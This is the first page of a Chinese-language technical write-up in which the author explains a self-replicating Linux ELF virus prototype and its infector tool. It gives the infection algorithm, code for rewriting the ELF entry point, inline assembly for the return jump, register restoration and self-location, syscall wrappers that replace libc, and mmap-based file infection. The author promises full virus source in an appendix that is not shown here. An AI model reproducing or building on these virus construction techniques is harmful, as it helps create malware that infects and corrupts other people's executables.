⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 linux vir.txt

📁 一个LINUX系统的病毒源代码分析
💻 TXT
📖 第 1 页 / 共 3 页
字号:
一个Linux病毒原型分析

 

内容: 
1 -- 介绍 
2 -- ELF Infector (ELF文件感染器) 
3 -- 病毒原型的工作过程 
4 -- 关键技术问题及处理 
5 -- 在一个新的编译环境下的调试方法 
6 -- 最后 
7 -- 参考文献 
8 -- 附录 - ELF文件感染工具和病毒原型源代码 


一、 ** 介绍 

写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结, 
同时向对这方面有兴趣的朋友做一个简单的介绍。 

阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入 
了汇编的C代码、了解病毒的基本工作原理。 

二、 ** ELF Infector (ELF文件感染器) 

为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。 

对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》 
一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的 
地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考: 

The final algorithm is using this information is. 
* Increase p_shoff by PAGE_SIZE in the ELF header 
* Patch the insertion code (parasite) to jump to the entry point 
(original) 
* Locate the text segment program header 
* Modify the entry point of the ELF header to point to the new 
code (p_vaddr + p_filesz) 
* Increase p_filesz by account for the new code (parasite) 
* Increase p_memsz to account for the new code (parasite) 
* For each phdr who's segment is after the insertion (text segment) 
* increase p_offset by PAGE_SIZE 
* For the last shdr in the text segment 
* increase sh_len by the parasite length 
* For each shdr who's section resides after the insertion 
* Increase sh_offset by PAGE_SIZE 
* Physically insert the new code (parasite) and pad to PAGE_SIZE, into 
the file - text segment p_offset + p_filesz (original) 

在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在 
附录中你可以看到这个感染工具的源代码: g-elf-infector.c 

g-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介 
绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到 
指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c 
的接口很简单,你只需要提供以下三个定义: 

* 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始 
地址的偏移,用于返回到目标程序的正常入口 
#define PARACODE_RETADDR_ADDR_OFFSET 1232 

* 要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供) 
void parasite_code(void); 

* 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算) 
void parasite_code_end(void); 

parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示 
void parasite_code(void) 
{ 
... 
... 
... 
} 
void parasite_code_end(void) {} 

在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code 
地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做 
void parasite_code(void) 
{ 
... 
... 
... 
} 
void parasite_code_end(void) {parasite_code();} 

有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染 
~grip2@linux> ./gei foo 


三、** 病毒原型的工作过程 

1 首先通过ELF Infector将病毒代码感染到一个ELF文件,这样就创造了第一 
个带毒文件,后续的传播就由它来完成。 
2 当带毒文件被执行时,会首先跳到病毒代码开始执行。 
3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。 
4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。 
5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同, 
代码的实现也是有较大区别的。 
6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码, 
如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有 
剩余的空间,因此二次感染是不会发生的。 
7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到 
真正的可执行文件入口,开始正常的运行过程。 

上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的 
关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看 
实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。 


四、** 关键技术问题及处理 

1 ELF文件执行流程重定向和代码插入 

在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的: 

* 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉 
ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变 
所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部 
分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要 
注意文本段增加长度的对齐问题,见ELF文档中的描述: 
p_align 
As ``Program Loading'' later in this part describes, loadable 
process segments must have congruent values for p_vaddr and 
p_offset, modulo the page size. 

* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向: 
/* Modify the entry point of the ELF */ 
org_entry = ehdr->e_entry; 
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz; 

2 病毒代码如何返回到真正的ELF文件入口 

方法技巧应该很多,这里采用的方法是PUSH+RET组合: 
__asm__ volatile ( 
... 
"return:\n\t" 
"push $0xAABBCCDD\n\t" /* push ret_addr */ 
"ret\n" 
::); 
其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程 
序来填写。 

3 堆栈和寄存器的恢复 

病毒代码必须保证运行前、后的堆栈和寄存器内容完全相同,这通过增加额外的代码 
来完成。 
在进入时: 
__asm__ volatile ( 
"push %%eax\n\t" 
"push %%ecx\n\t" 
"push %%edx\n\t" 
::); 
退出时: 
__asm__ volatile ( 
"popl %%edx\n\t" 
"popl %%ecx\n\t" 
"popl %%eax\n\t" 
"addl $0x102c, %%esp\n\t" 
"popl %%ebx\n\t" 
"popl %%esi\n\t" 
"popl %%edi\n\t" 
"popl %%ebp\n\t" 
"jmp return\n" 

要注意上面的代码是根据特定的编译器、编译选项来调整的,在不同的环境下如果重 
新编译病毒程序,可能还需要做一些调整。 

4 字符串的使用 

write(1, "hello world\n", 12); 
在病毒代码中这样对一个字符串直接引用是不可以的。这是对字符串的使用是一个绝 
对地址引用,病毒代码在进入到一个新的宿主内后,这一绝对地址的内容是无法得到 
保证的,因此在病毒代码内应该使用相对地址或间接地址进行字符串访问。 
下面是Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》中的一个解决办法,利用 
了缓冲区溢出中shellcode的编写技术: 
In x86 Linux, some syscalls require the use of an absolute address pointing to 
initialized data. This can be made relocatable by using a common trick used 
in buffer overflow code. 

jmp A 
B: 
pop %eax ; %eax now has the address of the string 
. ; continue as usual 
. 
. 

A: 
call B 
.string \"hello\" 
By making a call directly proceeding the string of interest, the address of 
the string is pushed onto the stack as the return address. 

但是在编写这个linux病毒原型代码时,我并没有使用这个方法,我尽力使代码使用 
C语言的语法: 
char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\0'}; 

#ifndef NDEBUG 
char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ', 
's','u','p','p','o','r','t','e','d','\n','\0'}; 
char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ', 
'n','e','x','t',' ','f','i','l','e','\n','\0'}; 
#endif 

在这里将字符串以字符数组的形式出现,编译之后的代码是这样: 
... 
movb $47, -8312(%ebp) 
movb $116, -8311(%ebp) 
movb $109, -8310(%ebp) 
movb $112, -8309(%ebp) 
movb $47, -8308(%ebp) 
movb $46, -8307(%ebp) 
movb $103, -8306(%ebp) 
movb $118, -8305(%ebp) 
movb $105, -8304(%ebp) 
movb $114, -8303(%ebp) 
movb $117, -8302(%ebp) 
movb $115, -8301(%ebp) 
... 
这样带来一个负面影响就是增加了代码长度,但是适当的使用对代码长度影响并不大。 
值得注意的一点是,当字符数组定义的尺寸超过了64时,在我的编译环境下,编译器 
对代码进行了优化,会导致编译后代码成为: 
... 
.section .rodata 
.LC0: 
.byte 47 
.byte 116 
.byte 109 
.byte 112 
.byte 47 
.byte 46 
.byte 103 
.byte 118 
.byte 105 
.byte 114 
.byte 117 
.byte 115 
.byte 0 
... 
数据被放到了.rodata section中,这样就使得其无法随病毒代码一起进入宿主,会 
造成访问失败,所以注意数组的申请尽量保持32以内,防止编译器优化。 

除此之外,使用整型数组的方法也与此类似,不再赘述。 

5 遭遇gcc-3.3的bug 

gvirus.c中有一部分的数据初始化是这样的: 
... 
char curdir[2] = {'.', 0}; 
char newline = '\n'; 

curdir[0] = '.'; 
curdir[1] = 0; 
newline = '\n'; 

if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0) 
goto out; 
... 

也许你会奇怪,为什么curdir和newline在已经初始化后还要重新赋值,这其中的原因 
是为了绕过一个gcc的bug。 
在我的编译环境下,当只做 
char curdir[2] = {'.', 0}; 
char newline = '\n'; 
这样的初始化时,反汇编代码如下: 
... 
0x08048cb0 <parasite_code+0>: push %ebp 
0x08048cb1 <parasite_code+1>: push %edi 
0x08048cb2 <parasite_code+2>: push %esi 
0x08048cb3 <parasite_code+3>: push %ebx 
0x08048cb4 <parasite_code+4>: sub $0x20bc,%esp 
0x08048cba <parasite_code+10>: push %eax 
0x08048cbb <parasite_code+11>: push %ecx 
0x08048cbc <parasite_code+12>: push %edx 
0x08048cbd <parasite_code+13>: xor %ecx,%ecx 
0x08048cbf <parasite_code+15>: lea 0x4e(%esp),%ebx <-- 使用curdir 
0x08048cc3 <parasite_code+19>: mov $0x5,%eax 
0x08048cc8 <parasite_code+24>: mov %ecx,%edx 
0x08048cca <parasite_code+26>: int $0x80 <-- g_open系统调用 
0x08048ccc <parasite_code+28>: mov %eax,0x38(%esp) 
0x08048cd0 <parasite_code+32>: cmp $0xffffff82,%eax 
0x08048cd3 <parasite_code+35>: jbe 0x8048cdd <parasite_code+45> 
0x08048cd5 <parasite_code+37>: movl $0xffffffff,0x38(%esp) 
0x08048cdd <parasite_code+45>: mov 0x38(%esp),%eax 
0x08048ce1 <parasite_code+49>: test %eax,%eax 
0x08048ce3 <parasite_code+51>: js 0x804915d <infect_start+1128> 
0x08048ce9 <parasite_code+57>: movw $0x2e,0x4e(%esp) <-- curdir的初始化 
... 
从注释可以看出,在这种情况下,curdir的初始化被放到了g_open使用其做参数之后。 

当加入 
curdir[0] = '.'; 
curdir[1] = 0; 
newline = '\n'; 
后,反汇编代码如下: 
... 
0x08048cb0 <parasite_code+0>: push %ebp 
0x08048cb1 <parasite_code+1>: push %edi 
0x08048cb2 <parasite_code+2>: push %esi 
0x08048cb3 <parasite_code+3>: push %ebx 
0x08048cb4 <parasite_code+4>: sub $0x20bc,%esp 
0x08048cba <parasite_code+10>: push %eax 
0x08048cbb <parasite_code+11>: push %ecx 
0x08048cbc <parasite_code+12>: push %edx 
0x08048cbd <parasite_code+13>: xor %ecx,%ecx 
0x08048cbf <parasite_code+15>: movw $0x2e,0x4e(%esp) <-- curdir的初始化 
0x08048cc6 <parasite_code+22>: lea 0x4e(%esp),%ebx <-- 作为参数使用 
0x08048cca <parasite_code+26>: mov $0x5,%eax 
0x08048ccf <parasite_code+31>: mov %ecx,%edx 
0x08048cd1 <parasite_code+33>: int $0x80 <-- g_open系统调用 
... 
从注释可以看出,加入了这段代码后,程序编译正确,避免了这个编译器bug。 

6 通过C语言和inline保证病毒代码的可读性和可移植性 

用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差,这也是使用汇编语言写 
程序的一个普遍的缺点。 
在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的 
限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码 
层次分明,保证可读性。 

7 病毒代码复制时如何获得自己的起始地址? 

虽然,病毒代码部分向ELF Infector提供了代码的起始地址,保证了生成第一个带毒 
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播 
时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新 
定位自己的起始位置。 

在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并 
不是一个最好的方法: 

/* Get start address of virus code */ 
__asm__ volatile ( 
"jmp get_start_addr\n" 
"infect_start:\n\t" 
"popl %0\n\t" 
:"=m" (para_code_start_addr) 
:); 
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1; 

... /* c代码 */ 
... 

__asm__ volatile ( 
... 
"get_start_addr:\n\t" 
"call infect_start\n" 
"return:\n\t" 
"push $0xAABBCCDD\n\t" /* push ret_addr */ 
"ret\n" 
::); 

通过缓冲区溢出中的一个技巧,jmp/call组合来得到push $0xAABBCCDD指令的地址。 
这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于 
存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道 
的,就是病毒代码函数向ELF Infector接口提供的那个宏定义的值: 
#ifndef NDEBUG 
#define PARACODE_RETADDR_ADDR_OFFSET 1704 
#else 
#define PARACODE_RETADDR_ADDR_OFFSET 1232 
#endif 

这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后, 
para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减 
一个push指令的长度,就是病毒代码的起始地址): 

para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1; 


8 抛弃C库 

由于病毒代码要能在不同的ELF文件内容工作,所以我们必须要保证所有的相关函数 
调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点,即使有的C库函 
数是可以完全内联的(完全内联就是说,这个函数本身可以内联,同时其内部没有向 
外的函数调用),但是随着编译环境的不同,这点也是不能得到根本保证的,因此我 
们有必要选择抛弃C库。 

没有了C库,我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有 
两种情况,一种是系统调用,另一种是普通的函数。 

对于系统调用,我们采用了重新包装的方法: 
static inline 
g_syscall3(int, write, int, fd, const void *, buf, off_t, count); 
static inline 
g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); 
static inline 
g_syscall3(int, open, const char *, file, int, flag, int, mode); 
static inline 
g_syscall1(int, close, int, fd); 
static inline 
g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot, 
int, flags, int, fd, off_t, offset); 
static inline 
g_syscall2(int, munmap, void *, addr, size_t, len); 
static inline 
g_syscall2(int, rename, const char *, oldpath, const char *, newpath); 
static inline 
g_syscall2(int, fstat, int, filedes, struct stat *, buf); 

并且修改了syscall包装的宏定义,如 
#define g__syscall_return(type, res) \ 
do { \ 
if ((unsigned long)(res) >= (unsigned long)(-125)) { \ 
res = -1; \ 
} \ 
return (type) (res); \ 
} while (0) 

#define g_syscall0(type,name) \ 
type g_##name(void) \ 
{ \ 
long __res; \ 
__asm__ volatile ("int $0x80" \ 
: "=a" (__res) \ 
: "0" (__NR_##name)); \ 
g__syscall_return(type,__res); \ 
} 

对于普通的函数,直接复制一份函数定义: 
static inline void * __memcpy(void * to, const void * from, size_t n) 
{ 
int d0, d1, d2; 
__asm__ __volatile__( 
"rep ; movsl\n\t" 
"testb $2,%b4\n\t" 
"je 1f\n\t" 
"movsw\n" 
"1:\ttestb $1,%b4\n\t" 
"je 2f\n\t" 
"movsb\n" 
"2:" 
: "=&c" (d0), "=&D" (d1), "=&S" (d2) 
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from) 
: "memory"); 
return (to); 
} 

9 保证病毒代码的瘦身需要 

为了保证病毒代码体积不至于过于庞大,影响病毒代码的感染,编写代码时也要注意 
代码体积问题。由于采用C代码的方式,一些函数调用都是内联的方式,因此每多一个 
调用都会引起代码体积的增加。 
在进行ELF文件读写更是如此,read/write被频繁的调用。为了减小这方面的影响,对 
目标ELF文件进行了一个mmap处理,这样地址空间直接被映射到文件,就消除了读目标 
文件时所要做的read调用,节省了一些空间: 

ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); 
if (ehdr == MAP_FAILED) { 
goto err; 
} 

/* Check ELF magic-ident */ 
if (ehdr->e_ident[EI_MAG0] != 0x7f 
|| ehdr->e_ident[EI_MAG1] != 'E' 
|| ehdr->e_ident[EI_MAG2] != 'L' 
|| ehdr->e_ident[EI_MAG3] != 'F' 
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32 
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -